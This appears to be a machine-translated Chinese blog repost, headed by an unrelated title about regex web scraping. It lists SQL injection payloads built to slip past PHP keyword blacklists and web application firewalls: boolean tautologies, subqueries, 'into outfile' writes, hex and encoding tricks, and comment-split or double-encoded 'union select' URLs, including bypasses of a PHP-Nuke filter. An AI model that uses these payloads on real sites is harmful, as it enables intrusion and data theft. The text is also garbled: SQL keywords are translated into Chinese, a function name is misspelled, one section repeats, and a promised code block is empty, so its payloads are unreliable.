php正则函数抓取网页连接(如何Bypass过滤与绕过过滤and、orPHP匹配函数代码)

优采云 发布时间: 2022-01-23 09:10

  php正则函数抓取网页连接(如何Bypass过滤与绕过过滤and、orPHP匹配函数代码)

  今天给大家分享一个文章关于php中常见的注入保护以及如何绕过它。文章内容来源是国外老大的总结。我做了一些排序。文章的源地址未知,下面正文开始。以下方法仅对黑名单过滤有效。为了安全起见,最好在白名单方法中检测参数。

  黑名单关键字过滤和绕过

  过滤关键字和,或

  PHP匹配函数代码如下:

  preg_match('/(and|or)/i', $id)

  如何绕过、过滤注入测试语句:

  1 或 1 = 1 1 和 1 = 1

  测试方法可以替换为以下语句测试:

  1 || 1 = 1 1 && 1 = 1

  过滤关键字和,或,并集

  PHP匹配函数代码如下:

  preg_match('/(and|or|union)/i', $id)

  如何绕过、过滤注入测试语句:

  union 选择用户,密码来自用户

  测试方法可以替换为以下语句测试:

  1 || (从 user_id = 1) = 'admin' 的用户中选择用户

  过滤关键字 and, or, union, where

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || (从 user_id = 1) = 'admin' 的用户中选择用户

  测试方法可以替换为以下语句测试:

  1 || (从用户限制中选择用户 1) = 'admin'

  过滤关键字 and, or, union, where, limit

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || (从用户限制中选择用户 1) = 'admin'

  测试方法可以替换为以下语句测试:

  1 || (通过具有 user_id = 1) = 'admin' 的 user_id 从用户组中选择用户

  过滤关键字and, or, union, where, limit, group by

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || (通过具有 user_id = 1) = 'admin' 的 user_id 从用户组中选择用户

  测试方法可以替换为以下语句测试:

  1 || (从用户中选择 substr(gruop_concat(user_id),1,1) 用户)= 1

  过滤关键字and, or, union, where, limit, group by

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || (通过具有 user_id = 1) = 'admin' 的 user_id 从用户组中选择用户

  测试方法可以替换为以下语句测试:

  1 || (从用户中选择 substr(gruop_concat(user_id),1,1) 用户)= 1

  过滤关键字 and, or, union, where, limit, group by, select

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || (从用户中选择 substr(gruop_concat(user_id),1,1) 用户)= 1

  测试方法可以替换为以下语句测试:

  1 || 1 = 1 进入 outfile 'result.txt'

  1 || substr(用户,1,1) = 'a'

  过滤关键字 and, or, union, where, limit, group by, select, '

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

  如何绕过、过滤注入测试语句:

  1 || (从用户中选择 substr(gruop_concat(user_id),1,1) 用户)= 1

  测试方法可以替换为以下语句测试:

  1 || user_id 不为空

  1 || substr(用户,1,1) = 0x61

  1 || substr(用户,1,1) = unhex(61)

  过滤关键字 and, or, union, where, limit, group by, select, ', hex

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || substr(用户,1,1) = unhex(61)

  测试方法可以替换为以下语句测试:

  1 || substr(user,1,1) = lower(conv(11,10,36))

  过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || substr(user,1,1) = lower(conv(11,10,36))

  测试方法可以替换为以下语句测试:

  1 || lpad(用户,7,1)

  过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, white space

  PHP匹配函数代码如下:

  preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

  如何绕过、过滤注入测试语句:

  1 || lpad(用户,7,1)

  测试方法可以替换为以下语句测试:

  1||lpad(用户,7,1)

  一些 WAF 绕过技术

  1、绕过一些WAF

  /news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

  2、匹配规则如下:

  /联合\sselect/g

  旁路:

  /news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

  3、过滤关键字一次

  /news.php?id=1+UNunionION+SEselectLECT+1,2,3--

  4、关键字被过滤,有时可以通过插入关键字绕过

  /news.php?id=1+union+select+1,2,3--

  5、对于Mod_rewrite的效果,当/**/不起作用时,可以用它代替

  更换前:

  /main/news/id/1//||//lpad(first_name,7,1).html

  更换后:

  /main/news/id/1||lpad(名字,7,1).html

  6、大部分 cms 和 WAFs 解码用户输入然后过滤,但有些只解码一次,我们可以对有效载荷进行多次编码然后测试

  /news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

  真实的例子

  核哨兵

  核哨兵.php

  代码如下:

  

  为了上述保护,会截取以下测试语句:

  /php-nuke/?/**/union/**/select...

  您可以改用以下语句:

  /php-nuke/?/%2A%2A/union/%2A%2A/select...

  /php-nuke/?%2f**%2funion%2f**%2fselect…

  总结

  以上内容不是我的原创内容。我没有强烈的权利谈论这个内容,所以如果你发现任何错误,欢迎你给我反馈。最好从中学到一些东西。你来了也没关系。如果您在此基础上有更好的见解,欢迎您总结整理,为我们的知识库做贡献,共同学习,共同进步。最后希望大家能对我有所贡献文章,互相交流就好。交个朋友,欢迎打扰。

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线